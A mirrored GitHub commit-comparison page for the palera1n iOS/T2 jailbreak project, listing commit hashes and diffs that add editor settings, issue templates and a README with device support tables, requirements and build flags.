mirror of
https://github.com/palera1n/palera1n.git
synced 2026-10-21 17:57:01 +02:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
42d6506f38 | ||
|
|
3b34c2bbac | ||
|
|
18ba8fb35f | ||
|
|
00a223a5bc | ||
|
|
f4dc9127c7 | ||
|
|
dfa033f366 | ||
|
|
8a47c8ce8a | ||
|
|
af06958989 | ||
|
|
9a04802afb | ||
|
|
d8f473e204 | ||
|
|
bdbf37c55b | ||
|
|
9326867936 | ||
|
|
493cf0ca42 | ||
|
|
bd0ed7a600 | ||
|
|
4cec4b0d4a | ||
|
|
1cd33432d9 | ||
|
|
2bd56599e7 | ||
|
|
6b9789ca3a | ||
|
|
042d3c4f8b | ||
|
|
cc0e8d5af7 | ||
|
|
ba4b75362e | ||
|
|
9126bc5f7e | ||
|
|
b335aadce8 | ||
|
|
4a9a2f68f1 | ||
|
|
c98dd080dd | ||
|
|
ec64322177 | ||
|
|
8d2fa31bc9 | ||
|
|
27eb58e188 | ||
|
|
bba50ee092 | ||
|
|
89bcddcb4b | ||
|
|
8f517976ba | ||
|
|
9c3a591db8 | ||
|
|
02fe95fbfc | ||
|
|
b760cc1d83 | ||
|
|
a7af7a4041 | ||
|
|
36dc0137bd | ||
|
|
7fe32b54c9 | ||
|
|
c70c2506ad | ||
|
|
7c6c52904e | ||
|
|
ef88661453 | ||
|
|
68358829d6 | ||
|
|
892e17741f | ||
|
|
83489e54ea | ||
|
|
da8c45465a | ||
|
|
3d0e269244 | ||
|
|
b40e137a37 | ||
|
|
7ed291dd46 | ||
|
|
2d7882051e | ||
|
|
cab5a9f9f8 | ||
|
|
0b2ba0e76e | ||
|
|
795cb3d126 | ||
|
|
0801d52c97 | ||
|
|
1481ecc512 | ||
|
|
96486d6267 | ||
|
|
2720826c22 | ||
|
|
81b47ab254 | ||
|
|
9c65425f7c | ||
|
|
e9e44e6cc9 | ||
|
|
3ba32c40db | ||
|
|
ad72f91ee8 | ||
|
|
97138e24de | ||
|
|
15d13529a8 | ||
|
|
337604c25d | ||
|
|
eddcedcca1 | ||
|
|
4d73b8635a | ||
|
|
b6f7ec2d6c | ||
|
|
398ed8da0e | ||
|
|
db36a5c9b9 | ||
|
|
a41e43438d | ||
|
|
d1d4ee8e16 | ||
|
|
51e3440de7 | ||
|
|
29a3e23851 | ||
|
|
3a096f9ab5 | ||
|
|
c2c88efe5a | ||
|
|
db76f591d0 | ||
|
|
76742ca1aa | ||
|
|
609e3ebc95 | ||
|
|
efc79c2993 | ||
|
|
9796175104 | ||
|
|
1421d61309 | ||
|
|
f27c13d464 | ||
|
|
cac5370df2 | ||
|
|
ef16aa0659 | ||
|
|
6dbc791c07 | ||
|
|
8ca699b84c | ||
|
|
ffe8f99ac5 | ||
|
|
9ceb8cf424 | ||
|
|
7674243a99 | ||
|
|
cc45e0a40c | ||
|
|
ef3644b684 | ||
|
|
86bec62b19 | ||
|
|
0216387909 | ||
|
|
23ab6f7dc8 | ||
|
|
fa6c65e688 | ||
|
|
0cf2c6492f | ||
|
|
a25670134f | ||
|
|
85180b85fb | ||
|
|
f15011828b | ||
|
|
2d990a14b3 | ||
|
|
9048e9afbb | ||
|
|
689a0b0a58 | ||
|
|
a2eeb4446d | ||
|
|
22b074aabc | ||
|
|
417a76f1e6 | ||
|
|
ef3b94b996 | ||
|
|
e747273c5c | ||
|
|
2ecf794793 | ||
|
|
6e7923a958 | ||
|
|
489c6651f9 | ||
|
|
0744f1862d | ||
|
|
c235073362 | ||
|
|
4087095e26 | ||
|
|
58c458b46c | ||
|
|
372531f6ca | ||
|
|
32d3abb40c | ||
|
|
4757655d16 | ||
|
|
3dda56f777 | ||
|
|
4b22d91ede | ||
|
|
b8eee2f664 | ||
|
|
b55e779c78 | ||
|
|
7c4ab9b6d2 | ||
|
|
9e9bf6b22b | ||
|
|
2d8c118c63 | ||
|
|
18023c4037 | ||
|
|
89b6147e26 | ||
|
|
df7435f937 | ||
|
|
66f1b199ff | ||
|
|
3fe62c54c2 | ||
|
|
4a32c051e9 | ||
|
|
e54e51b363 | ||
|
|
704e7a1037 | ||
|
|
ad33e49873 | ||
|
|
307f332ec8 | ||
|
|
43510986f0 | ||
|
|
a6e538cd60 | ||
|
|
e637710732 | ||
|
|
7980394699 | ||
|
|
54ae6c7fd2 | ||
|
|
93d66b893b | ||
|
|
29002c60d6 | ||
|
|
361049df62 | ||
|
|
c93ee314f5 | ||
|
|
443bacdc8d | ||
|
|
7f57325f7d | ||
|
|
56ee38921b | ||
|
|
e415e9c042 | ||
|
|
cdd94742ee | ||
|
|
de37667158 | ||
|
|
9b34cb851f | ||
|
|
87c1a98230 | ||
|
|
28e002259e | ||
|
|
bda3bff2f6 | ||
|
|
381abb457a | ||
|
|
99fa0f3273 | ||
|
|
dd82099a64 | ||
|
|
5d537c7a16 | ||
|
|
e1a5b1bd2d | ||
|
|
0d85d3456c | ||
|
|
71b585b5b9 | ||
|
|
339bb85ea8 | ||
|
|
1a17188e6e | ||
|
|
9072f97fb1 | ||
|
|
8c48361d29 | ||
|
|
54cc005d69 | ||
|
|
f46fd0df83 | ||
|
|
1917c3e1d0 | ||
|
|
9c009555f0 | ||
|
|
d8154c3aeb | ||
|
|
2914030e65 | ||
|
|
b94345f904 | ||
|
|
a9dac539cb | ||
|
|
04d3db88c1 | ||
|
|
4f5f86415a | ||
|
|
8c728fa726 | ||
|
|
96ecc28c05 | ||
|
|
eb601d4c76 | ||
|
|
0e165edeae | ||
|
|
041b5b8504 | ||
|
|
c0bc9ca3d4 | ||
|
|
ff50a61a1b | ||
|
|
3f98400f8f | ||
|
|
d9d2edfaeb | ||
|
|
5a35164369 | ||
|
|
630a6124c9 | ||
|
|
fa05fd34e1 | ||
|
|
7ee6976c7d | ||
|
|
5b2716e94b | ||
|
|
709ef510d3 | ||
|
|
85470f3e07 | ||
|
|
0d4a97571a | ||
|
|
b0348f1174 | ||
|
|
81dad18545 | ||
|
|
19347caeaa | ||
|
|
62e03acf81 | ||
|
|
80c0536dfa | ||
|
|
84897c3563 | ||
|
|
113c5eb706 | ||
|
|
2e041a3158 | ||
|
|
bb0077b832 | ||
|
|
2d795c1149 | ||
|
|
01d400af23 | ||
|
|
67805496f3 | ||
|
|
1389887b84 | ||
|
|
b62347c73e | ||
|
|
ad08952999 | ||
|
|
91ab9a804d | ||
|
|
edfd827386 | ||
|
|
0404c0f362 | ||
|
|
f795cbd777 | ||
|
|
24e0904f5e | ||
|
|
57c5d7eaa3 | ||
|
|
eb5e7060cc | ||
|
|
28a434084c | ||
|
|
7f55babab1 | ||
|
|
ab94104366 | ||
|
|
95c7d1c47a | ||
|
|
d9dfefadcb | ||
|
|
ff94a8281d | ||
|
|
9eba8965fc | ||
|
|
bb46df31e6 | ||
|
|
fdc554b3c2 | ||
|
|
f1377618b8 | ||
|
|
1670c26313 | ||
|
|
3a404501f7 | ||
|
|
2fbb899c60 | ||
|
|
4a262e1ea4 | ||
|
|
868869deab | ||
|
|
7d3f40d89b | ||
|
|
4b53afc973 | ||
|
|
a31f283c9b | ||
|
|
8d401680dd | ||
|
|
df636c1db9 | ||
|
|
efc8cd6513 | ||
|
|
f5c4b338f2 | ||
|
|
3d2d380820 | ||
|
|
a099e321c0 | ||
|
|
34bc646439 | ||
|
|
147134b495 | ||
|
|
7ddf02e0b9 | ||
|
|
aa91582aba | ||
|
|
39a5ad981c | ||
|
|
59aabaad08 | ||
|
|
106e2214b5 | ||
|
|
3022c6a447 | ||
|
|
a4eacb75c0 | ||
|
|
05ca13d925 | ||
|
|
c01b426a87 | ||
|
|
3a2ff433ed | ||
|
|
0122e6c603 | ||
|
|
cc151e727e | ||
|
|
76b2695e9d | ||
|
|
1e72458985 | ||
|
|
ba2a4dee25 | ||
|
|
f8319e44f1 | ||
|
|
ff581a41e9 | ||
|
|
b4bd41de60 | ||
|
|
0b5b54521f | ||
|
|
17f28f3f0a | ||
|
|
8ef0035dc0 | ||
|
|
34edfd649b | ||
|
|
671e2346ae | ||
|
|
464c832883 | ||
|
|
0e9cd5e1f6 | ||
|
|
08fbb60538 | ||
|
|
8787616ae0 | ||
|
|
eea9dd2435 | ||
|
|
f518fee7c9 | ||
|
|
6e9b8b7d5d | ||
|
|
39f37f5c59 | ||
|
|
d36693c1d8 | ||
|
|
90ff7e4cec | ||
|
|
0355e743a7 | ||
|
|
e84f343a93 | ||
|
|
27e077c570 | ||
|
|
7a3dbefffa | ||
|
|
37e1cb372c | ||
|
|
ca0a7c483d | ||
|
|
3bc59bc237 | ||
|
|
19131ef2dc | ||
|
|
f7fd42f16c | ||
|
|
b3369a8b98 | ||
|
|
c840c226de | ||
|
|
3ea406da58 | ||
|
|
275eaeba96 | ||
|
|
3a08a27dcd | ||
|
|
3a2c372325 | ||
|
|
0140f4c8df | ||
|
|
8c79851880 | ||
|
|
eefefc8623 | ||
|
|
1bcee6f320 | ||
|
|
c0d6c797dd | ||
|
|
8bd67de770 | ||
|
|
053a495755 | ||
|
|
196abc4a88 | ||
|
|
e332a00cf9 | ||
|
|
5dd2980e96 | ||
|
|
4ecc0019ba | ||
|
|
be15a9b6b5 | ||
|
|
05e1872ccb | ||
|
|
3a57693458 | ||
|
|
6a5741a540 | ||
|
|
d93ccc7a69 | ||
|
|
7379a4abba | ||
|
|
2de51b6909 | ||
|
|
a3600700c2 | ||
|
|
37e3fb995e | ||
|
|
26f8d3c79c | ||
|
|
88f74795b8 | ||
|
|
74377dcb40 | ||
|
|
240185c07e | ||
|
|
65707046dd | ||
|
|
6f30ad8314 | ||
|
|
f2ac3ae8d7 | ||
|
|
4ecd75bea7 | ||
|
|
5dac69db66 | ||
|
|
91c5de6408 | ||
|
|
d65877f851 | ||
|
|
3df6791ebd | ||
|
|
06a93e697b | ||
|
|
ffad44ce10 | ||
|
|
4775c8ab23 | ||
|
|
7992b1e2a9 | ||
|
|
3fdb75b9fa | ||
|
|
3b0d8ece54 | ||
|
|
7a20bc0ad9 | ||
|
|
0194d5296a | ||
|
|
ef55859eb0 | ||
|
|
b5db51c1ac | ||
|
|
5106372a4b | ||
|
|
6686fdd1a4 | ||
|
|
48eb11ada0 | ||
|
|
f72ad75db2 | ||
|
|
4a8fb113ae | ||
|
|
03a0a5db6b | ||
|
|
8b56b01cee | ||
|
|
52d20c8e5b | ||
|
|
b0ac19e4d1 | ||
|
|
e8d4e857dd | ||
|
|
bf549b8f86 | ||
|
|
b79ac3176f | ||
|
|
e12216dc5e | ||
|
|
f7603371f6 | ||
|
|
f80e2a8849 | ||
|
|
a30e2ef32a | ||
|
|
2825ccaf17 | ||
|
|
e1e0304b98 | ||
|
|
5f4ef51da9 | ||
|
|
98f7d032eb | ||
|
|
5b32d61a1e | ||
|
|
fd80f9e63f | ||
|
|
52ff0b2e62 | ||
|
|
aa0c3a77b3 | ||
|
|
a5fbf1b18b | ||
|
|
7d3bf14ea6 | ||
|
|
a8325474cf | ||
|
|
8a09d2670a | ||
|
|
30d8241e2d | ||
|
|
e33d50860b | ||
|
|
3b4340525d | ||
|
|
e6033f31cc | ||
|
|
c14d93b008 | ||
|
|
ed48d4fcb4 | ||
|
|
2541330a07 | ||
|
|
58aaf508fc | ||
|
|
e6644c0601 | ||
|
|
194f568363 | ||
|
|
963fbb6ed8 | ||
|
|
88185b7a88 | ||
|
|
3c6213774b | ||
|
|
c35d199809 | ||
|
|
67ca5a9d24 | ||
|
|
8edc991786 | ||
|
|
f59ef6dcee | ||
|
|
1ca25ceca8 | ||
|
|
0a0410d506 | ||
|
|
5f8b503ae3 | ||
|
|
9e253f98f4 | ||
|
|
d17af1fbc7 | ||
|
|
f3920b883d | ||
|
|
1abfdf5441 | ||
|
|
1c3613c669 | ||
|
|
627f9b3363 | ||
|
|
388ae6f296 | ||
|
|
24a09bc44d | ||
|
|
5ea3237772 | ||
|
|
9c094fc19f | ||
|
|
2912dfd8c0 | ||
|
|
a3fa59eaa8 | ||
|
|
290bcb143e | ||
|
|
bb9fdde26e | ||
|
|
a9e72b579e | ||
|
|
fe565b97ad | ||
|
|
1422d45a9f | ||
|
|
869f0fc070 | ||
|
|
cc1a865a86 | ||
|
|
5ce2196268 | ||
|
|
fe50b7c966 | ||
|
|
e02d977c5d | ||
|
|
d82965f140 | ||
|
|
2623569d67 | ||
|
|
2637758372 | ||
|
|
87a2f6b60b | ||
|
|
5e1291d7c4 | ||
|
|
1214aed3a7 | ||
|
|
e96cd19295 | ||
|
|
f37643b93e | ||
|
|
2a9f65c870 | ||
|
|
11b594bec6 | ||
|
|
047b334752 | ||
|
|
c2bb49287a | ||
|
|
2d932dd26b | ||
|
|
03e6739bc9 | ||
|
|
b360e8dd02 | ||
|
|
d72e95fccc | ||
|
|
60f241e0db | ||
|
|
9a7d6151ae | ||
|
|
ac34d4d2be | ||
|
|
8cae820cb8 | ||
|
|
b89fd2b915 | ||
|
|
4070ed9da9 | ||
|
|
6c7f666bb3 | ||
|
|
36fc50d2f1 | ||
|
|
15b2372daa | ||
|
|
b7b52febe3 | ||
|
|
a29a279693 | ||
|
|
b693f1af29 | ||
|
|
41f7909597 | ||
|
|
52167fc32d | ||
|
|
a060fe7374 | ||
|
|
f6450e0a5d | ||
|
|
6dec16ff2b | ||
|
|
8807f4775f | ||
|
|
4b0457b6ee | ||
|
|
6e05ecd1f9 | ||
|
|
16cbb134aa | ||
|
|
f267c3e714 | ||
|
|
e4f46c4276 | ||
|
|
67b9b86940 | ||
|
|
3f73bd0b31 | ||
|
|
8aca098801 | ||
|
|
831794f5eb | ||
|
|
5eb0a08727 | ||
|
|
4572ed5984 | ||
|
|
e81a06513a | ||
|
|
c17107da40 | ||
|
|
a8a7fbdae8 | ||
|
|
2990d9ab75 | ||
|
|
132eb393d0 | ||
|
|
8f81f9b523 | ||
|
|
b28e882b9c | ||
|
|
f5cc175adc | ||
|
|
2a7df193ce | ||
|
|
d974100585 | ||
|
|
9bf956e2da | ||
|
|
bb1bef3676 | ||
|
|
da21a56783 | ||
|
|
749578716a | ||
|
|
9153d71626 | ||
|
|
fae5eaf07e | ||
|
|
df0c0f346d | ||
|
|
75ae960d1a | ||
|
|
06be39a71c | ||
|
|
01bcc332cb | ||
|
|
f519162c61 | ||
|
|
21786017b0 | ||
|
|
79c45399b8 | ||
|
|
6f34b90e15 | ||
|
|
520d79b399 | ||
|
|
7f68777418 | ||
|
|
05eb1d791b | ||
|
|
cad3a8d233 | ||
|
|
fe970cfe2c | ||
|
|
d4052bfe6e | ||
|
|
4836b08998 | ||
|
|
fa7e58f45f | ||
|
|
0aec2f123d | ||
|
|
025baf4d74 | ||
|
|
49f0f74338 | ||
|
|
fd75256cbd | ||
|
|
4b4bc0c97e | ||
|
|
118d826f40 | ||
|
|
bfbdc82d22 | ||
|
|
6edcf92e7d | ||
|
|
79d258814e | ||
|
|
87dae1a7e2 | ||
|
|
4043f8534f | ||
|
|
9df5f68590 | ||
|
|
623cd45286 | ||
|
|
366a81407b | ||
|
|
471d828d5e | ||
|
|
5d48b7b38f | ||
|
|
b67c7beb3c | ||
|
|
86e41f1895 | ||
|
|
3fd35cdb94 | ||
|
|
f00cac7672 | ||
|
|
5420853a88 | ||
|
|
fe3b52f020 | ||
|
|
d07875981a | ||
|
|
9a93f9e340 | ||
|
|
1e4906bb5a | ||
|
|
50d3c47369 | ||
|
|
feda997a99 | ||
|
|
992f54c4e1 | ||
|
|
3388b36c22 | ||
|
|
1bf0ff5574 | ||
|
|
6e324f1b54 | ||
|
|
96cadc4105 | ||
|
|
c2c3f527c6 | ||
|
|
70d71f20e8 | ||
|
|
b2f8c26282 | ||
|
|
f0478ffb43 | ||
|
|
17f3517c01 | ||
|
|
8b7b199384 | ||
|
|
93302942c5 | ||
|
|
7b0821367a | ||
|
|
3082392397 | ||
|
|
3d5441fba2 | ||
|
|
5c15ad4ac4 | ||
|
|
9d9f030e30 | ||
|
|
bee42e422f | ||
|
|
550ce0bd1c | ||
|
|
01531fabda | ||
|
|
3f6aa81fb4 | ||
|
|
53399b11d4 | ||
|
|
84287eba8e | ||
|
|
90759eb293 | ||
|
|
50f8dc37b9 | ||
|
|
c219f96c1d | ||
|
|
2415d7d4ee | ||
|
|
8138d582ab | ||
|
|
907ac98c9c | ||
|
|
a6f8181211 | ||
|
|
47a5a9443d | ||
|
|
21e205dea6 | ||
|
|
3785a77232 | ||
|
|
09f63da485 | ||
|
|
a35be8497e | ||
|
|
b7bbcf5bb7 | ||
|
|
c25644e70d | ||
|
|
08a0838518 | ||
|
|
20c3be4446 | ||
|
|
7e8b616708 | ||
|
|
a809a91af2 | ||
|
|
84a2654f24 | ||
|
|
020ebdb41c | ||
|
|
4158d6a0aa | ||
|
|
bd15cadb6c | ||
|
|
74d161cdd8 | ||
|
|
fc94b29d5f | ||
|
|
bbdfa9b7a2 | ||
|
|
7c7f08f422 | ||
|
|
c647520062 | ||
|
|
4a14826629 | ||
|
|
349cb81752 | ||
|
|
e3aad1a249 | ||
|
|
6127bdb3d6 | ||
|
|
6f88b0cd26 | ||
|
|
89ed9e7565 | ||
|
|
dc9065dd76 | ||
|
|
b518a88354 | ||
|
|
020fdd4939 | ||
|
|
1524ed9440 | ||
|
|
597280c3c6 | ||
|
|
d3edd09550 | ||
|
|
cc62982233 | ||
|
|
3f60d435ee | ||
|
|
c112de8d23 | ||
|
|
5f5210b08d | ||
|
|
c2a452d3b1 | ||
|
|
42a47d656c | ||
|
|
f22bee6870 | ||
|
|
ad2cb43392 | ||
|
|
1ae665cf41 | ||
|
|
2519850712 | ||
|
|
82eece415e | ||
|
|
92ff35ae13 | ||
|
|
78b5f7d75e | ||
|
|
32d5f6a4df | ||
|
|
d48988ef83 | ||
|
|
686a753ff5 | ||
|
|
d006f1a2ae | ||
|
|
f69f964d04 | ||
|
|
4692a33dc0 | ||
|
|
23b76ec6d7 | ||
|
|
b6c7777c51 | ||
|
|
0fb9de9431 | ||
|
|
72acd82f9f | ||
|
|
72e3fde894 | ||
|
|
4054ee8742 | ||
|
|
a696c2b50f | ||
|
|
f4facd4933 | ||
|
|
a21db1b4aa | ||
|
|
ab5ce9fd7e | ||
|
|
851d1d1df8 | ||
|
|
95b0b63a98 | ||
|
|
9f14da315b | ||
|
|
09b7e7ea53 | ||
|
|
6ba000ca8e | ||
|
|
2c544ad8e5 | ||
|
|
1fc8e2f2a1 | ||
|
|
b100ef3ffd | ||
|
|
2530ebbe6b | ||
|
|
7fd5882c95 | ||
|
|
516e78e1f9 | ||
|
|
40bfe1ecc3 | ||
|
|
120dbede87 | ||
|
|
4ca64bd24e | ||
|
|
829890010e | ||
|
|
bd7da74546 | ||
|
|
07169da20e | ||
|
|
5cc5d9c7cb | ||
|
|
e6bdbc7ecb | ||
|
|
726bc2af54 | ||
|
|
d768b87a10 | ||
|
|
fcda630b75 | ||
|
|
f06b9618a1 | ||
|
|
422e16b808 | ||
|
|
bde6ea49ce | ||
|
|
2b17caabb1 | ||
|
|
bf03f99fee | ||
|
|
b5663adbef | ||
|
|
56784c0649 | ||
|
|
16bc18fbc2 | ||
|
|
49ffa55508 | ||
|
|
8f248556e6 | ||
|
|
ee355b34d0 | ||
|
|
ed2ca6066f | ||
|
|
37acdb0de6 | ||
|
|
a9a3ee3e6e | ||
|
|
2f306e6fcf | ||
|
|
e196349b2f | ||
|
|
c9537d7a46 | ||
|
|
cd80b66f28 | ||
|
|
d0347812a7 | ||
|
|
e8934460dd | ||
|
|
4a511dc0d6 | ||
|
|
999964611a | ||
|
|
da3f09b8cc | ||
|
|
04d5f90955 | ||
|
|
7af29d71d6 | ||
|
|
d189e145c4 | ||
|
|
daca1e79a6 | ||
|
|
1d620e7a63 | ||
|
|
8454f69adf | ||
|
|
16903e5415 | ||
|
|
12cfb86ef1 | ||
|
|
405399e4f8 | ||
|
|
b4d1cd0348 | ||
|
|
345b30605f | ||
|
|
e084bce275 | ||
|
|
6a54df6dc5 | ||
|
|
98be5af558 | ||
|
|
2c5997cd28 | ||
|
|
fd59da4487 | ||
|
|
48a3d7e8fa | ||
|
|
e0d4dbabff | ||
|
|
fea58c88ef | ||
|
|
cff0681eee | ||
|
|
b5eff0432c | ||
|
|
5003c5a4ed | ||
|
|
d2cda32dad | ||
|
|
e8f943d806 | ||
|
|
3c595184d9 | ||
|
|
018bfbd189 | ||
|
|
9a01148c79 | ||
|
|
2cafb8ae19 | ||
|
|
3e6382f65e | ||
|
|
178123c222 | ||
|
|
04666b19c3 | ||
|
|
650386ace1 | ||
|
|
919ccef99d | ||
|
|
f327c694c8 | ||
|
|
c25a617f7e | ||
|
|
c25b503c6f | ||
|
|
d028dda6a5 | ||
|
|
56af335101 | ||
|
|
a8f1745504 | ||
|
|
4c95fd0275 | ||
|
|
7c8dabfed7 | ||
|
|
f4a683bffc | ||
|
|
e4349ad231 | ||
|
|
ff479943e9 | ||
|
|
772b3c2d78 | ||
|
|
c973cc0786 | ||
|
|
be674d45c9 | ||
|
|
ccd23c0d64 | ||
|
|
4631c57466 | ||
|
|
779a5eea6b | ||
|
|
f62961882b | ||
|
|
19b1653805 | ||
|
|
01b43863e3 | ||
|
|
37d4cf1147 | ||
|
|
fa257dbb4b | ||
|
|
475864a249 | ||
|
|
3f6e2315f0 | ||
|
|
59f05fff5f | ||
|
|
9818adacd9 | ||
|
|
4027ad0611 | ||
|
|
23d60a52ef | ||
|
|
d73446241a | ||
|
|
f2667fe32f | ||
|
|
f67415067f | ||
|
|
abfd306bdd | ||
|
|
d93fb8e729 | ||
|
|
821a587140 | ||
|
|
71c1674e20 | ||
|
|
6ba3b1a29a | ||
|
|
b6b8033efd | ||
|
|
ec586d7258 | ||
|
|
2c32d7a355 | ||
|
|
b2ecd2c68c | ||
|
|
6a585fc4fd | ||
|
|
cfd74c8a87 | ||
|
|
40b8c0e42f | ||
|
|
b07c28334b | ||
|
|
15262b8acf | ||
|
|
43a8f51145 | ||
|
|
c958d50c82 | ||
|
|
f234487392 | ||
|
|
81d1e5410e | ||
|
|
3b1c9bbd5f | ||
|
|
658db21f1a | ||
|
|
7f07e5c4ea | ||
|
|
c71782cfdb | ||
|
|
76b567034d | ||
|
|
7c48b7c32c | ||
|
|
b9755d6964 | ||
|
|
1afa5e6fd6 | ||
|
|
84403cfce9 | ||
|
|
3ea3ea0ce9 | ||
|
|
752d32600c |
No files matched your search
@@ -0,0 +1,18 @@
|
||||
root = true
|
||||
|
||||
[*]
|
||||
indent_style = space
|
||||
indent_size = 4
|
||||
end_of_line = lf
|
||||
charset = utf-8
|
||||
trim_trailing_whitespace = true
|
||||
insert_final_newline = true
|
||||
|
||||
[Makefile]
|
||||
indent_style = tab
|
||||
indent_size = 4
|
||||
|
||||
[*.{yml,yaml}]
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
* text=auto eol=lf
|
||||
@@ -0,0 +1 @@
|
||||
blank_issues_enabled: false
|
||||
@@ -0,0 +1,20 @@
|
||||
name: Feature Request
|
||||
description: Request a feature in palera1n!
|
||||
labels: [enhancement]
|
||||
|
||||
body:
|
||||
- type: textarea
|
||||
id: feature-request
|
||||
attributes:
|
||||
label: Feature Description
|
||||
placeholder: I want ... to be added to palera1n, because ...
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: detailed-description
|
||||
attributes:
|
||||
label: Start going into detail..
|
||||
placeholder: I think it should also include ..., because of convenience.
|
||||
validations:
|
||||
required: false
|
||||
@@ -1,29 +0,0 @@
|
||||
---
|
||||
name: Issue
|
||||
about: Get help with an issue
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Info (please complete the following information):**
|
||||
- iDevice's version: [e.g. iOS 15.2, iOS 15.1]
|
||||
- Computer OS and version: [e.g. macOS 13.0b3, Ubuntu 22.04]
|
||||
- The command you ran: [e.g. `./palera1n.sh --dfu 15.1`]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
|
||||
**Debug log**
|
||||
Please click below and drag-and-drop the latest log in the logs folder here.
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
name: Create Issue
|
||||
description: Ask help for palera1n regarding support or generally how it works!
|
||||
labels: [palera1n help]
|
||||
|
||||
body:
|
||||
- type: input
|
||||
id: device
|
||||
attributes:
|
||||
label: Device
|
||||
description: What is the device that you're using with palera1n? (iPhone, iPad, iPod Touch, appleTV, iBridge (T2))
|
||||
placeholder: iPhone X
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: version
|
||||
attributes:
|
||||
label: Version
|
||||
description: What is version you're running? (i.e. iOS, iPadOS, tvOS, bridgeOS)
|
||||
placeholder: iOS 15.6
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: passcode-enabled
|
||||
attributes:
|
||||
label: Passcode?
|
||||
description: Is your passcode enabled?
|
||||
options:
|
||||
- label: Passcode is enabled.
|
||||
required: false
|
||||
|
||||
- type: textarea
|
||||
id: detailed-description
|
||||
attributes:
|
||||
label: Start going into detail..
|
||||
placeholder: My device couldn't boot jailbroken. I have checked ... using ..., none of the solutions I've been given are working for me. I don't know what to do.
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: familiarity
|
||||
attributes:
|
||||
label: Familiarity with palera1n
|
||||
description: Are you familiar with palera1n and how to use it?
|
||||
options:
|
||||
- label: I am familiar with palera1n and how to use it!
|
||||
required: false
|
||||
|
||||
- type: checkboxes
|
||||
id: familiarity-command-line
|
||||
attributes:
|
||||
label: Familiarity with CLI
|
||||
description: Are you familiar with the command-line in anyway? (i.e. Terminal.app, Konsole)
|
||||
options:
|
||||
- label: I am familiar with the command-line!
|
||||
required: false
|
||||
@@ -0,0 +1,191 @@
|
||||
# palera1n
|
||||
[](https://github.com/palera1n/palera1n/releases)
|
||||
[](https://github.com/palera1n/palera1n/releases)
|
||||
[](https://github.com/palera1n/palera1n/blob/main/LICENSE)
|
||||
|
||||
Jailbreak for A8 through A11, T2 devices, on iOS/iPadOS/tvOS 15.0, bridgeOS 5.0 and higher.
|
||||
|
||||

|
||||
|
||||
## Device Support
|
||||
|
||||
<!--- Mobile --->
|
||||
|
||||
| iPhone(s) | iPad(s) | iPod(s) | Apple TV(s) |
|
||||
|- |- |- |- |
|
||||
| iPhone 6s | iPad mini 4 | iPod Touch (7th generation) | Apple TV HD |
|
||||
| iPhone 6s Plus | iPad (5th generation) | | Apple TV 4K (1st generation) |
|
||||
| iPhone SE (2016) | iPad (6th generation) | | |
|
||||
| iPhone 7 | iPad (7th generation) | | |
|
||||
| iPhone 7 Plus | iPad Pro (9.7") | | |
|
||||
| iPhone 8 | iPad Pro (12.9") (1st generation) | | |
|
||||
| iPhone 8 Plus | iPad Pro (10.5") | | |
|
||||
| iPhone X | iPad Pro (12.9") (2nd generation) | | |
|
||||
| | iPad Air 2 | | |
|
||||
|
||||
> Note that on `A11` (iPhone X, 8, 8 Plus), **you must disable your passcode while in the jailbroken state** (on iOS 16, you need to **reset your device** before proceeding with palera1n).
|
||||
|
||||
<!--- T2 --->
|
||||
<details>
|
||||
<summary>Apple T2 Device Support (click to expand)</summary>
|
||||
|
||||
| Apple T2 |
|
||||
|- |
|
||||
| Apple T2 iMac20,1 |
|
||||
| Apple T2 iMac20,2 |
|
||||
| |
|
||||
| Apple T2 MacBookAir8,1 |
|
||||
| Apple T2 MacBookAir8,2 |
|
||||
| Apple T2 MacBookAir9,1 |
|
||||
| |
|
||||
| Apple T2 MacBookPro15,1 |
|
||||
| Apple T2 MacBookPro15,2 |
|
||||
| Apple T2 MacBookPro15,3 |
|
||||
| Apple T2 MacBookPro15,4 |
|
||||
| Apple T2 MacBookPro16,1 |
|
||||
| Apple T2 MacBookPro16,2 |
|
||||
| Apple T2 MacBookPro16,3 |
|
||||
| Apple T2 MacBookPro16,4 |
|
||||
| |
|
||||
| Apple T2 iMacPro1,1 |
|
||||
| Apple T2 Macmini8,1 |
|
||||
| Apple T2 MacPro7,1 |
|
||||
| |
|
||||
| iBridge2,11 (Unknown Mac) |
|
||||
| iBridge2,13 (Unknown Mac) |
|
||||
|
||||
</details>
|
||||
|
||||
## Computer Requirements
|
||||
|
||||
1. **USB-A** cables are recommended to use, USB-C to may have issues with palera1n and getting into DFU mode.
|
||||
> Due to USB-C cables having different accessory IDs, your device may not be able to be recognized when using USB-C due to not being able to assert to its USB voltage pin.
|
||||
|
||||
2. **Linux or macOS computer**
|
||||
|
||||
> USB-C port on Apple Silicon Macs *may* require manual unplugging and replugging of the lightning cable after checkm8 exploit. This problem may be solved by connecting via USB hub, though extensions can vary.
|
||||
|
||||
## Installing
|
||||
|
||||
Visit https://palera.in
|
||||
|
||||
## Building
|
||||
|
||||
Building is going to be a bit convoluted for each platform, each having their own unique specifications, but the best reference for building should be looking at how [GitHub actions](./.github/workflows/build.yml) does it.
|
||||
|
||||
```sh
|
||||
# Supported params:
|
||||
# GUI support (0 default):
|
||||
# WITH_GUI=1
|
||||
# TUI support (0 default):
|
||||
# WITH_TUI=1
|
||||
# Default ramdisk (1 default):
|
||||
# WITH_RAMDISK=1
|
||||
# Default overlay (1 default):
|
||||
# WITH_BINPACK=1
|
||||
# Compile statically (0 default):
|
||||
# WITH_STATIC=0
|
||||
# Compile using libciderra1n as backend (0 default):
|
||||
# WITH_CIDERRAIN=0
|
||||
# Debug or release build ("Debug" default):
|
||||
# BUILD_TYPE="Release"
|
||||
